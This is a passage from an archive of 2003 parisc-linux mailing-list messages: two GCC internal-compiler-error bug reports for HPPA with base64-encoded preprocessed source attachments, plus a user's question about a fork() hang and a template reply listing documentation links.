configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,pascal,objc,ada --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.2 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-objc-gc hppa-linux
>Description:
u_free.c: In function `free_picture_entry':
u_free.c:16: unrecognizable insn:
(insn 43 42 46 (clobber (reg/i:SI 28 %r28)) -1 (insn_list:REG_DEP_OUTPUT 40 (nil))
    (nil))
u_free.c:16: Internal compiler error in insn_default_length, at insn-attrtab.c:1203
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
>How-To-Repeat:
gcc -O2 -g u_free.i
>Fix:
unknown.
>Unformatted:
----gnatsweb-attachment----
Content-Type: application/octet-stream; name="u_free.i"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="u_free.i"

c3RydWN0IF9waWNzIHsgaW50IHJlZmNvdW50OyB9Owp2b2lkIHVzZShpbnQgeCk7CmludCBmcmVl
X3BpY3R1cmVfZW50cnkoc3RydWN0IF9waWNzICpwaWN0dXJlKSB7CglpZiAocGljdHVyZS0+cmVm
Y291bnQgPT0gMCkgewoJCXVzZShwaWN0dXJlLT5yZWZjb3VudCk7CgkJcmV0dXJuOwoJfQp9Cg==


From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c/10237: [3.2 regression] [HPPA] Internal compiler error in insn_default_length, at insn-attrtab.c:1203
Date: 27 Mar 2003 06:10:04 -0000
Lines: 49
Approved: news@gmane.org
Message-ID: <20030327061004.19985.qmail__3027.49391780726$1416622338$gmane$org@sources.redhat.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622338 23804 80.91.229.3 (22 Nov 2014 02:12:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:18 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 23:16:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id BC3D7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 23:16:01 -0700 (MST)
Original-Received: (qmail 20972 invoked by uid 71); 27 Mar 2003 06:16:01 -0000
Resent-Date: 27 Mar 2003 06:16:01 -0000
Resent-Message-ID: <20030327061601.20971.qmail@sources.redhat.com>
Resent-From: gcc-gnats@gcc.gnu.org (GNATS Filer)
Resent-To: nobody@gcc.gnu.org
Resent-Cc: gcc-prs@gcc.gnu.org, gcc-bugs@gcc.gnu.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
Resent-Reply-To: gcc-gnats@gcc.gnu.org, rbradetich@uswest.net
Original-Received: (qmail 19986 invoked by uid 48); 27 Mar 2003 06:10:04 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: debian-gcc@lists.debian.org,parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18102

>Number:         10237
>Category:       c
>Synopsis:       [3.2 regression] [HPPA] Internal compiler error in insn_default_length, at insn-attrtab.c:1203
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    unassigned
>State:          open
>Class:          ice-on-legal-code
>Submitter-Id:   net
>Arrival-Date:   Thu Mar 27 06:16:01 UTC 2003
>Closed-Date:
>Last-Modified:
>Originator:     rbradetich@uswest.net
>Release:        unknown-1.0
>Organization:
>Environment:
System: Linux vega 2.5.65-pa3 #37 Sun Mar 23 17:41:14 MST 2003 parisc unknown unknown GNU/Linux
Architecture: parisc

host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,pascal,objc,ada --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.2 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-objc-gc hppa-linux
>Description:
u_free.c: In function `free_picture_entry':
u_free.c:16: unrecognizable insn:
(insn 43 42 46 (clobber (reg/i:SI 28 %r28)) -1 (insn_list:REG_DEP_OUTPUT 40 (nil))
    (nil))
u_free.c:16: Internal compiler error in insn_default_length, at insn-attrtab.c:1203
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
>How-To-Repeat:
gcc -O2 -g u_free.i
>Fix:
unknown.
>Release-Note:
>Audit-Trail:
>Unformatted:
----gnatsweb-attachment----
Content-Type: application/octet-stream; name="u_free.i"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="u_free.i"

c3RydWN0IF9waWNzIHsgaW50IHJlZmNvdW50OyB9Owp2b2lkIHVzZShpbnQgeCk7CmludCBmcmVl
X3BpY3R1cmVfZW50cnkoc3RydWN0IF9waWNzICpwaWN0dXJlKSB7CglpZiAocGljdHVyZS0+cmVm
Y291bnQgPT0gMCkgewoJCXVzZShwaWN0dXJlLT5yZWZjb3VudCk7CgkJcmV0dXJuOwoJfQp9Cg==


From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alchemist@cdc712-9.cdc.polimi.it
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bug in fork()
Date: Thu, 27 Mar 2003 14:14:24 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20030327131424.GA251@cdc712-9.cdc.polimi.it>
References: <m18yX9N-00048pC@cdc712-9.cdc.polimi.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622338 23807 80.91.229.3 (22 Nov 2014 02:12:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 27 06:14:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cdc712-9.cdc.polimi.it (cdc712-9.cdc.polimi.it [131.175.7.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 626F14829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Mar 2003 06:14:27 -0700 (MST)
Original-Received: by cdc712-9.cdc.polimi.it
	via sendmail from stdin
	id <m18yXD7-00049HC@cdc712-9.cdc.polimi.it> (Debian Smail3.2.0.114)
	Thu, 27 Mar 2003 14:14:25 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <m18yX9N-00048pC@cdc712-9.cdc.polimi.it>
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18103

 
 Dear sirs,
 
 I keep getting strange crashes in X11R6. Using strace revealed a bug in
 fork(). (machine hangs). Any advice about it ?. I am using 2.4.20-pa32 on a
debian 3.0/testing


From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bug in fork()
Date: Thu, 27 Mar 2003 15:07:15 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <6A153BFE-605D-11D7-8068-0030656F07A2@esiee.fr>
References: <20030327131424.GA251@cdc712-9.cdc.polimi.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622338 23808 80.91.229.3 (22 Nov 2014 02:12:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: alchemist@cdc712-9.cdc.polimi.it
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 27 07:07:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEECC4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Mar 2003 07:07:17 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 78E5E49C4D; Thu, 27 Mar 2003 15:07:16 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id F08BA49C47; Thu, 27 Mar 2003 15:07:15 +0100 (CET)
In-Reply-To: <20030327131424.GA251@cdc712-9.cdc.polimi.it>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18104

Try item 6).

-----
This is a template message.

1) Read the PA-RISC/Linux Boot HOWTO
http://pateam.esiee.fr/doc.html

2) Read the FAQ
http://www.fr.parisc-linux.org/faq/

3) Read the parisc-linux mailing-list archive
http://www.fr.parisc-linux.org/mailing-lists/

4) Check the Hardware Database
http://hwdb.parisc-linux.org/

5) Check the supported machines list
http://pateam.esiee.fr/list.html

6) Read the "HOWTO Report a Kernel Bug"
http://www.fr.parisc-linux.org/faq/kernelbug-howto.html

7) Read the "HOWTO Build a PA-RISC/Linux Kernel"
http://www.fr.parisc-linux.org/kernel/

----
That template may grow as some questions will reappear :P


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

--=20
"Every rational person has two homelands, his own and France" - Thomas
Jefferson

Le jeudi, 27 mar 2003, =E0 14:14 Europe/Paris,=20
alchemist@cdc712-9.cdc.polimi.it a =E9crit :

>
>  Dear sirs,
>
>  I keep getting strange crashes in X11R6. Using strace revealed a bug=20=

> in
>  fork(). (machine hangs). Any advice about it ?. I am using=20
> 2.4.20-pa32 on a
> debian 3.0/testing
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099
Date: 27 Mar 2003 05:33:19 -0000
Lines: 2330
Approved: news@gmane.org
Message-ID: <20030327053319.22475.qmail__1872.0184838914$1416622339$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622339 23810 80.91.229.3 (22 Nov 2014 02:12:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:19 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 22:33:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 9CA5C482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 22:33:20 -0700 (MST)
Original-Received: (qmail 22476 invoked by uid 48); 27 Mar 2003 05:33:19 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18105

>Category:       c++
>Synopsis:       [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Class:          ice-on-legal-code
>Submitter-Id:   net
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        gcc-3.3
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

        <machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v
--enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr
--mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc
hppa-linux
>Description:
3.2.3 doesn't ICE, nor does 3.3 when compiled with -O1 or without -g. Unfortunately I didn't have much luck trying to trim this down, so it's a fairly large test case :( 

sh-2.05b# g++ -v -O2 -g bug.ii
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3 20030309 (Debian prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.3/cc1plus -fpreprocessed bug.ii -quiet -dumpbase bug.ii -auxbase bug -g -O2 -version -o /tmp/cc1Jcd31.s
GNU C++ version 3.3 20030309 (Debian prerelease) (hppa-linux)
        compiled by GNU C version 3.3 20030309 (Debian prerelease).
GGC heuristics: --param ggc-min-expand=98 --param ggc-min-heapsize=127480
bug.ii:21281: warning: `std::basic_filebuf<_CharT, _Traits>::int_type' is
   implicitly a typename
bug.ii:21281: warning: implicit typename is deprecated, please see the
   documentation for details
bug.ii:21285: warning: `std::basic_filebuf<_CharT, _Traits>::int_type' is
   implicitly a typename
bug.ii:21285: warning: implicit typename is deprecated, please see the
   documentation for details
bug.ii: In member function `void PLib::NurbsCurve<T, N>::globalInterpD(const
   PLib::Vector<PLib::Point_nD<T, D> >&, const PLib::Vector<PLib::Point_nD<T,
   D> >&, int, int, T) [with T = float, int N = 2]':
bug.ii:27797:   instantiated from here
bug.ii:25709: internal compiler error: in final_scan_insn, at final.c:2099
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
>How-To-Repeat:

>Fix:

>Unformatted:
----gnatsweb-attachment----
Content-Type: application/x-gzip-compressed; name="bug.ii.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bug.ii.gz"

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
